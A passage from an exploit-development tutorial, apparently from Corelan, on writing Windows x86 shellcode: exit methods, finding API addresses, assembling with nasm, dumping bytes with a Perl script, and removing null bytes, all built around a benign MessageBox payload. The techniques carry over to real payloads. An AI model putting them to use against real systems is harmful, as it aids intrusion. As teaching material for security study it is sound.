use this shellcode in a real exploit, that targets a string buffer overflow, it may not work because the null bytes act as a string terminator. That is a major issue indeed. <\/li>\n<li>The shellcode worked because user32.dll was mapped in the current process. If user32.dll is not loaded, the API address of MessageBoxA won\u2019t point to the function, and the code will fail. Major issue - showstopper. <\/li>\n<li>The shellcode contains a static reference to the MessageBoxA function. If this address is different on other Windows Versions\/Service Packs, then the shellcode won\u2019t work. Major issue again - showstopper. <\/li>\n<\/ol>\n<p>Number 3 is the main reason why the w32-testival command didn\u2019t work for our shellcode.&#160; In the w32-testival process, user32.dll is not loaded, so the shellcode fails.<\/p>\n<p>&#160;<\/p>\n<h3>Shellcode exitfunc<\/h3>\n<p>In our C application, after calling the MessageBox API, 2 instructions were used to exit the process : LEAVE and RET.&#160; While this works fine for standalone applications, our shellcode will be injected into another application. So a leave\/ret after calling the MessageBox will most likely break stuff and cause a \u201cbig\u201d crash. <\/p>\n<p>There are 2 approaches to exit our shellcode : we can either try to kill things as silently as we can, but perhaps we can also try to keep the parent (exploited) process running\u2026 perhaps it can be exploited again.<\/p>\n<p>Obviously, if there is a specific reason not to exit the shellcode\/process at all, then feel free not to do so.<\/p>\n<p>I\u2019ll discuss 3 techniques that can be used to exit the shellcode with :<\/p>\n<ul>\n<li>process : this will use ExitProcess() <\/li>\n<li>seh : this one will force an exception call.&#160;&#160; Keep in mind that this one might trigger the exploit code to run over and over again (if the original bug was SEH based for example) <\/li>\n<li>thread : this will use ExitThread() <\/li>\n<\/ul>\n<p>Obviously, none of these techniques ensures that the parent process won\u2019t crash or will remain exploitable once it has been exploited.&#160; I\u2019m only discussing the 3 techniques (which, incidentally, are availabe in Metasploit too :-))<\/p>\n<p>&#160;<\/p>\n<h4>ExitProcess()<\/h4>\n<p>This technique is based on a Windows API called \u201c<a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms682658(VS.85).aspx\" target=\"_blank\" rel=\"noopener\">ExitProcess<\/a>\u201d, found in kernel32.dll.&#160; One parameter : the ExitProcess exitcode. This value (zero means everything was ok) must be placed on the stack before calling the API<\/p>\n<p>On XP SP3, the ExitProcess() API can be found at 0x7c81cb12.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image11.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb11.png\" width=\"505\" height=\"272\" \/><\/a><\/p>\n<p>So basically in order to make the shellcode exit properly, we need to add the following instructions to the bottom of the shellcode, right after the call to MessageBox was made :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">xor eax, eax           ; zero out eax (NULL)\npush eax               ; put zero to stack (exitcode parameter)\nmov eax, 0x7c81cb12    ; ExitProcess(exitcode) \ncall eax               ; <span style=\"color: #0000ff\">exit<\/span> cleanly <\/pre>\n<p>or, in byte\/opcode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">&quot;<span style=\"color: #8b0000\">\\x33\\xc0<\/span>&quot;   <span style=\"color: #008000\">\/\/xor eax,eax =&gt; eax is now 00000000<\/span>\n&quot;<span style=\"color: #8b0000\">\\x50<\/span>&quot;       <span style=\"color: #008000\">\/\/push eax<\/span>\n&quot;<span style=\"color: #8b0000\">\\xc7\\xc0\\x12\\xcb\\x81\\x7c<\/span>&quot;   <span style=\"color: #008000\">\/\/ mov eax,0x7c81cb12<\/span>\n&quot;<span style=\"color: #8b0000\">\\xff\\xe0<\/span>&quot;  <span style=\"color: #008000\">\/\/jmp eax = launch ExitProcess(0)<\/span><\/pre>\n<p>Again, we\u2019ll just assume that kernel32.dll is mapped\/loaded automatically (which will be the case - see later), so you can just call the ExitProcess API without further ado.<\/p>\n<p>&#160;<\/p>\n<h4>SEH<\/h4>\n<p>A second technique to exit the shellcode (while trying to keep the parent process running) is by triggering an exception&#160; (by performing call 0x00) - something like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">xor eax,eax\ncall eax<\/pre>\n<p>While this code is clearly shorter than the others, it may lead to unpredictable results.&#160; If an exception handler is set up, and you are taking advantage of the exception handler in your exploit (SEH based exploit), then the shellcode may loop. That may be ok in certain cases (if, for example, you are trying to keep a machine exploitable instead of exploit it just once) <\/p>\n<h4>&#160;<\/h4>\n<h4>ExitThread()<\/h4>\n<p>The format of this kernel32 API can be found at <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms682659(VS.85).aspx\">http:\/\/msdn.microsoft.com\/en-us\/library\/ms682659(VS.85).aspx<\/a>. As you can see, this API requires one parameter : the exitcode (pretty much like ExitProcess())<\/p>\n<p>Instead of looking up the address of this function using IDA, you can also use <a href=\"http:\/\/www.vividmachines.com\/shellcode\/arwin.c\" target=\"_blank\" rel=\"noopener\">arwin<\/a>, a little script written by Steve Hanna<\/p>\n<p>(watch out : function name = case sensitive !)<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode\\arwin&gt;arwin kernel32.dll ExitThread\narwin - win32 address resolution program - by steve hanna - v.01\nExitThread is located at 0x7c80c0f8 in kernel32.dll<\/pre>\n<p>So simply replacing the call to ExitProcess with a call to ExitThread will do the job.<\/p>\n<p>&#160;<\/p>\n<h3>Extracting functions\/exports from dll files<\/h3>\n<p>As explained above, you can use IDA or arwin to get functions\/function pointers. If you have installed Microsoft Visual Studio C++ Express, then you can use dumpbin as well. This command line utility can be found at C:\\Program Files\\Microsoft Visual Studio 9.0\\VC\\bin. Before you can use the utility you\u2019ll need to get a copy of mspdb80.dll (download <a href=\"https:\/\/web.archive.org\/web\/20160520072020\/http:\/\/www.dll-files.com:80\/dllindex\/dll-files.shtml?mspdb80\" target=\"_blank\" rel=\"noopener\">here<\/a>) and place it in the same (bin) folder.<\/p>\n<p>You can now list all exports (functions) in a given dll :&#160;&#160; dumpbin path_to_dll \/exports<\/p>\n<p>dumpbin.exe c:\\windows\\system32\\kernel32.dll \/exports<\/p>\n<p>Populating all exports from all dll\u2019s in the windows\\system32 folder can be done like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">rem Script written by Peter Van Eeckhoutte\nrem https:\/\/www.corelan.be\nrem Will list all exports from all dll's in the\nrem %systemroot%\\system32 and write them to file\nrem\n@echo off\ncls\necho Exports &gt; exports.log\nfor \/f %%a IN ('dir \/b %systemroot%\\system32\\*.dll') \n     do echo [+] Processing %%a &amp;&amp; \n     dumpbin %systemroot%\\system32\\%%a \/exports \n     &gt;&gt; exports.log<\/pre>\n<p>(put everything after the&#160; \u201cfor \/f\u201d statement on one line - I just added some line breaks for readability purposes)<\/p>\n<p>Save this batch file in the bin folder.&#160; Run the batch file, and you will end up with a text file that has all the exports in all dll\u2019s in the system32 folder.&#160; So if you ever need a certain function, you can simply search through the text file.&#160; (Keep in mind, the addresses shown in the output are RVA (relative virtual addresses), so you\u2019ll need to add the base address of the module\/dll to get the absolute address of a given function)<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Sidenote : using nasm to write \/ generate shellcode<\/h3>\n<p>In the previous chapters we went from one line of C code to a set of assembler instructions. Once you start to become familiar to these assembler instructions, it may become easier to just write stuff directly in assembly and compile that into opcodes, instead of resolving the opcodes first and writing everything directly in opcode\u2026 That\u2019s way to hard and there is an easier way :<\/p>\n<p>Create a text file that starts with [BITS 32] (don\u2019t forget this or nasm may not be able to detect that it needs to compile for 32 bit CPU x86), followed by the assembly instructions (which could be found in the disassembly\/debugger output):<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\n\n<span style=\"color: #0000ff\">PUSH<\/span> 0x006e616c     ;<span style=\"color: #0000ff\">push<\/span> &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot; to stack\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65726f43 \nMOV EBX,ESP         ;save pointer to &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot; in EBX\n\n<span style=\"color: #0000ff\">PUSH<\/span> 0x00206e61     ;<span style=\"color: #0000ff\">push<\/span> &quot;<span style=\"color: #8b0000\">You have been pwned by Corelan<\/span>&quot;\n<span style=\"color: #0000ff\">PUSH<\/span> 0x6c65726f\n<span style=\"color: #0000ff\">PUSH<\/span> 0x43207962\n<span style=\"color: #0000ff\">PUSH<\/span> 0x2064656e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x7770206e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65656220\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65766168\n<span style=\"color: #0000ff\">PUSH<\/span> 0x20756f59\n\nMOV ECX,ESP         ;save pointer to &quot;<span style=\"color: #8b0000\">You have been...<\/span>&quot; in ECX\n\nXOR EAX,EAX   \n<span style=\"color: #0000ff\">PUSH<\/span> EAX            ;put parameters on the stack\n<span style=\"color: #0000ff\">PUSH<\/span> EBX\n<span style=\"color: #0000ff\">PUSH<\/span> ECX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n\nMOV ESI,0x7E4507EA\nJMP ESI              ;MessageBoxA\n\nXOR EAX,EAX          ;clean up\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\nMOV EAX,0x7c81CB12\nJMP EAX              ;ExitProcess(0)<\/pre>\n<p>Save this file as msgbox.asm<\/p>\n<p>Compile with nasm :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;&quot;<span style=\"color: #8b0000\">c:\\Program Files\\nasm\\nasm.exe<\/span>&quot; msgbox.asm -o msgbox.bin<\/pre>\n<p>Now use the pveReadbin.pl script to output the bytes from the .bin file in C format:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/perl\n# Perl script written by Peter Van Eeckhoutte\n# http:<span style=\"color: #008000\">\/\/www.corelan.be<\/span>\n# This script takes a filename as argument\n# will <span style=\"color: #0000ff\">read<\/span> the file \n# and output the bytes in \\x <span style=\"color: #0000ff\">format<\/span>\n#\n<span style=\"color: #0000ff\">if<\/span> ($#ARGV ne 0) { \n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">  usage: $0 <\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">filename<\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;; \n<span style=\"color: #0000ff\">exit<\/span>(0); \n} \n#<span style=\"color: #0000ff\">open<\/span> file in binary mode\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Reading <\/span>&quot;.$ARGV[0].&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">open<\/span>(FILE,$ARGV[0]);\n<span style=\"color: #0000ff\">binmode<\/span> FILE;\n<span style=\"color: #0000ff\">my<\/span> ($data, $n, $<span style=\"color: #0000ff\">offset<\/span>, $strContent);\n$strContent=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $cnt=0;\nwhile (($n = <span style=\"color: #0000ff\">read<\/span> FILE, $data, 1, $<span style=\"color: #0000ff\">offset<\/span>) != 0) {\n  $<span style=\"color: #0000ff\">offset<\/span> += $n;\n}\n<span style=\"color: #0000ff\">close<\/span>(FILE);\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Read <\/span>&quot;.$<span style=\"color: #0000ff\">offset<\/span>.&quot;<span style=\"color: #8b0000\"> bytes\\n\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $cnt=0;\n<span style=\"color: #0000ff\">my<\/span> $nullbyte=0;\n<span style=\"color: #0000ff\">print<\/span> <span style=\"color: #0000ff\">chr<\/span>(34);\nfor ($i=0; $i &lt; (<span style=\"color: #0000ff\">length<\/span>($data)); $i++) \n{\n  <span style=\"color: #0000ff\">my<\/span> $c = <span style=\"color: #0000ff\">substr<\/span>($data, $i, 1);\n  $str1 = sprintf(&quot;<span style=\"color: #8b0000\">%01x<\/span>&quot;, ((<span style=\"color: #0000ff\">ord<\/span>($c) &amp; 0xf0) &gt;&gt; 4) &amp; 0x0f);\n  $str2 = sprintf(&quot;<span style=\"color: #8b0000\">%01x<\/span>&quot;, <span style=\"color: #0000ff\">ord<\/span>($c) &amp; 0x0f);\n  <span style=\"color: #0000ff\">if<\/span> ($cnt &lt; 8)\n  {\n    <span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">\\\\x<\/span>&quot;.$str1.$str2;\n    $cnt=$cnt+1;    \n  }\n  <span style=\"color: #0000ff\">else<\/span>\n  {\n    $cnt=1;\n    <span style=\"color: #0000ff\">print<\/span> <span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\\\x<\/span>&quot;.$str1.$str2;\n  }\n  <span style=\"color: #0000ff\">if<\/span> (($str1 eq &quot;<span style=\"color: #8b0000\">0<\/span>&quot;) &amp;&amp; ($str2 eq &quot;<span style=\"color: #8b0000\">0<\/span>&quot;))\n    {\n      $nullbyte=$nullbyte+1;\n    }\n}\n<span style=\"color: #0000ff\">print<\/span> <span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">;\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">\\nNumber of null bytes : <\/span>&quot; . $nullbyte.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;<\/pre>\n<p>Output :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;pveReadbin.pl msgbox.bin\nReading msgbox.bin\nRead 78 bytes\n\n&quot;<span style=\"color: #8b0000\">\\x68\\x6c\\x61\\x6e\\x00\\x68\\x43\\x6f<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x72\\x65\\x89\\xe3\\x68\\x61\\x6e\\x20<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x00\\x68\\x6f\\x72\\x65\\x6c\\x68\\x62<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x79\\x20\\x43\\x68\\x6e\\x65\\x64\\x20<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x68\\x6e\\x20\\x70\\x77\\x68\\x20\\x62<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x65\\x65\\x68\\x68\\x61\\x76\\x65\\x68<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x59\\x6f\\x75\\x20\\x89\\xe1\\x31\\xc0<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x50\\x53\\x51\\x50\\x50\\xbe\\xea\\x07<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x45\\x7e\\xff\\xe6\\x31\\xc0\\x50\\xb8<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x12\\xcb\\x81\\x7c\\xff\\xe0<\/span>&quot;;\n\nNumber of null bytes : 2<\/pre>\n<p>&#160;<\/p>\n<p>Paste this code in the C \u201cshellcodetest\u201d application, make\/compile and run :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image14.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb14.png\" width=\"321\" height=\"278\" \/><\/a><\/p>\n<p>Ah - ok - that is a lot easier.<\/p>\n<p>From this point forward in this tutorial, we\u2019ll continue to write our shellcode directly in assembly code. If you were having a hard time understanding the asm code above, then stop reading now and go back.&#160; The assembly used above is really basic and it should not take you a long time to really understand what it does. <\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3>Dealing with null bytes<\/h3>\n<p>When we look back at the bytecode that was generated so far, we noticed that they all contain null bytes.&#160; Null bytes may be a problem when you are overflowing a buffer, that uses null byte as string terminator.&#160; So one of the main requirements for shellcode would be to avoid these null bytes.<\/p>\n<p>There are a number of ways to deal with null bytes : you can try to find alternative instructions to avoid null bytes in the code, reproduce the original values, use an encoder, etc<\/p>\n<h4>Alternative instructions &amp; instruction encoding<\/h4>\n<p>At a certain point in our example, we had to set eax to zero. We could have used mov eax,0&#160; to do this, but that would have resulted in \u201c\\xc7\\xc0\\x00\\x00\\x00\\x00\u201d.&#160; Instead of doing that, we used \u201cxor eax,eax\u201d. This gave us the same result and the opcode does not contain null bytes.&#160; So one of the techniques to avoid null bytes is to look for alternative instructions that will produce the same result.<\/p>\n<p>In our example, we had 2 null bytes, caused by the fact that we needed to terminate the strings that were pushed on the stack. Instead of putting the null byte in the push instruction, perhaps we can generate the null byte on the stack without having to use a null byte.<\/p>\n<p>This is a basic example of what an encoder does. It will, at runtime, reproduce the original desired values\/opcodes, while avoiding certain characters such as null bytes.<\/p>\n<p>There are 2 ways to fixing this null byte issue : we can either write some basic instructions that will take care of the 2 null bytes (basically use different instructions that will end up doing the same), or we can just encode the entire shellcode.<\/p>\n<p>We\u2019ll talk about payload encoders (encoding the entire shellcode) in one of the next chapters, let\u2019s look at manual instruction encoding first.<\/p>\n<p>Our example contains 2 instructions that have null bytes :<\/p>\n<p>&quot;\\x68\\x6c\\x61\\x6e\\x00&quot; <\/p>\n<p>and<\/p>\n<p>&quot;\\x68\\x61\\x6e\\x20\\x00&quot;<\/p>\n<p>How can we do the same (get these strings on the stack) without using null bytes in the bytecode ?<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Solution 1 : reproduce the original value using add &amp; sub<\/u><\/strong><\/p>\n<p>What if we subtract 11111111 from 006E616C (= EF5D505B) , write the result to EBX, add 11111111 to EBX and then write it to the stack ?&#160; No null bytes, and we still get what we want.<\/p>\n<p>So basically, we do this<\/p>\n<ul>\n<li>Put EF5D505B in EBX <\/li>\n<li>Add 11111111 to EBX <\/li>\n<li>push ebx to stack <\/li>\n<\/ul>\n<p>Do the same for the other null byte (using ECX as register)<\/p>\n<p>In assembly :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\n\nXOR EAX,EAX \nMOV EBX,0xEF5D505B      \nADD EBX,0x11111111     ;add 11111111\n;EBX now contains <span style=\"color: #0000ff\">last<\/span> part of &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot; \n<span style=\"color: #0000ff\">PUSH<\/span> EBX               ;<span style=\"color: #0000ff\">push<\/span> it to the stack\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65726f43 \nMOV EBX,ESP            ;save pointer to &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot; in EBX\n\n;<span style=\"color: #0000ff\">push<\/span> &quot;<span style=\"color: #8b0000\">You have been pwned by Corelan<\/span>&quot;\nMOV ECX,0xEF0F5D50     \nADD ECX,0x11111111\n<span style=\"color: #0000ff\">PUSH<\/span> ECX\n<span style=\"color: #0000ff\">PUSH<\/span> 0x6c65726f\n<span style=\"color: #0000ff\">PUSH<\/span> 0x43207962\n<span style=\"color: #0000ff\">PUSH<\/span> 0x2064656e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x7770206e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65656220\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65766168\n<span style=\"color: #0000ff\">PUSH<\/span> 0x20756f59\nMOV ECX,ESP         ;save pointer to &quot;<span style=\"color: #8b0000\">You have been...<\/span>&quot; in ECX\n  \n<span style=\"color: #0000ff\">PUSH<\/span> EAX            ;put parameters on the stack\n<span style=\"color: #0000ff\">PUSH<\/span> EBX\n<span style=\"color: #0000ff\">PUSH<\/span> ECX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n\nMOV ESI,0x7E4507EA\nJMP ESI              ;MessageBoxA\n\nXOR EAX,EAX          ;clean up\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\nMOV EAX,0x7c81CB12\nJMP EAX              ;ExitProcess(0)<\/pre>\n<p>Of course, this increases the size of our shellcode, but at least we did not have to use null bytes.<\/p>\n<p>After compiling the asm file and extracting the bytes from the bin file, this is what we get :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;perl pveReadbin.pl msgbox2.bin\nReading msgbox2.bin\nRead 92 bytes\n\n&quot;<span style=\"color: #8b0000\">\\x31\\xc0\\xbb\\x5b\\x50\\x5d\\xef\\x81<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\xc3\\x11\\x11\\x11\\x11\\x53\\x68\\x43<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x6f\\x72\\x65\\x89\\xe3\\xb9\\x50\\x5d<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x0f\\xef\\x81\\xc1\\x11\\x11\\x11\\x11<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x51\\x68\\x6f\\x72\\x65\\x6c\\x68\\x62<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x79\\x20\\x43\\x68\\x6e\\x65\\x64\\x20<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x68\\x6e\\x20\\x70\\x77\\x68\\x20\\x62<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x65\\x65\\x68\\x68\\x61\\x76\\x65\\x68<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x59\\x6f\\x75\\x20\\x89\\xe1\\x50\\x53<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x51\\x50\\x50\\xbe\\xea\\x07\\x45\\x7e<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\xff\\xe6\\x31\\xc0\\x50\\xb8\\x12\\xcb<\/span>&quot;\n&quot;<span style=\"color: #8b0000\">\\x81\\x7c\\xff\\xe0<\/span>&quot;;\n\nNumber of null bytes : 0<\/pre>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image15.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb15.png\" width=\"432\" height=\"270\" \/><\/a><\/p>\n<p>To prove that it works, we\u2019ll load our custom shellcode in a regular exploit, (on XP SP3, in an application that has user32.dll loaded already)\u2026 an application such as Easy RM to MP3 Converter for example. (remember tutorial 1 ?)<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image16.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb16.png\" width=\"270\" height=\"128\" \/><\/a><\/p>\n<p>&#160;<\/p>\n<p>A similar technique (to the one explained here) is used in in certain encoders\u2026 If you extend this technique, it can be used to reproduce an entire payload, and you could limit the character set to for example alphanumerical characters only. A good example on what I mean with this can be found in tutorial 8.<\/p>\n<p>There are many more techniques to overcome null bytes :<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Solution 2 : sniper : precision-null-byte-bombing<\/u><\/strong><\/p>\n<p>A second technique that can be used to overcome the null byte problem in our shellcode is this :<\/p>\n<ul>\n<li>put current location of the stack into ebp <\/li>\n<li>set a register to zero <\/li>\n<li>write value to the stack without null bytes (so replace the null byte with something else) <\/li>\n<li>overwrite the byte on the stack with a null byte, using a part of a register that already contains null, and referring to a negative offset from ebp.&#160; Using a negative offset will result in \\xff bytes (and not \\x00 bytes), thys bypassing the null byte limitation <\/li>\n<\/ul>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[BITS 32]\n\n<strong><font color=\"#ff0000\">XOR EAX,EAX     ;set EAX to zero<\/font><\/strong>\nMOV EBP,ESP     ;set EBP to ESP so we can <span style=\"color: #0000ff\">use<\/span> negative <span style=\"color: #0000ff\">offset<\/span>\n<strong><font color=\"#ff0000\"><span style=\"color: #0000ff\">PUSH<\/span> 0xFF6E616C ;<span style=\"color: #0000ff\">push<\/span> part of string to stack\nMOV [EBP-1],AL  ;overwrite FF with 00<\/font><\/strong>\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65726f43 ;<span style=\"color: #0000ff\">push<\/span> rest of string to stack\nMOV EBX,ESP     ;save pointer to &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot; in EBX\n\n<strong><font color=\"#ff0000\"><span style=\"color: #0000ff\">PUSH<\/span> 0xFF206E61 ;<span style=\"color: #0000ff\">push<\/span> part of string to stack\nMOV [EBP-9],AL  ;overwrite FF with 00<\/font><\/strong>\n<span style=\"color: #0000ff\">PUSH<\/span> 0x6c65726f ;<span style=\"color: #0000ff\">push<\/span> rest of string to stack\n<span style=\"color: #0000ff\">PUSH<\/span> 0x43207962\n<span style=\"color: #0000ff\">PUSH<\/span> 0x2064656e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x7770206e\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65656220\n<span style=\"color: #0000ff\">PUSH<\/span> 0x65766168\n<span style=\"color: #0000ff\">PUSH<\/span> 0x20756f59\nMOV ECX,ESP         ;save pointer to &quot;<span style=\"color: #8b0000\">You have been...<\/span>&quot; in ECX\n\n<span style=\"color: #0000ff\">PUSH<\/span> EAX            ;put parameters on the stack\n<span style=\"color: #0000ff\">PUSH<\/span> EBX\n<span style=\"color: #0000ff\">PUSH<\/span> ECX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\n\nMOV ESI,0x7E4507EA\nJMP ESI              ;MessageBoxA\n\nXOR EAX,EAX          ;clean up\n<span style=\"color: #0000ff\">PUSH<\/span> EAX\nMOV EAX,0x7c81CB12\nJMP EAX              ;ExitProcess(0)<\/pre>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<p><strong><u>Solution 3 : writing the original value byte by byte<\/u><\/strong>&#160;<\/p>\n<p>This technique uses the same concept as solution 2, but instead of writing a null byte, we start off by writing nulls bytes to the stack (xor eax,eax&#160; +&#160;&#160; push eax), and then reproduce the non-null bytes by writing individual bytes to negative offset of ebp<\/p>\n<ul>\n<li>put current location of the stack into ebp <\/li>\n<li>write nulls to the stack (xor eax,eax and push eax) <\/li>\n<li>write the non-null bytes to an exact negative offset location relative to the stack\u2019s base pointer (ebp) <\/li>\n<\/ul>\n<p>Example 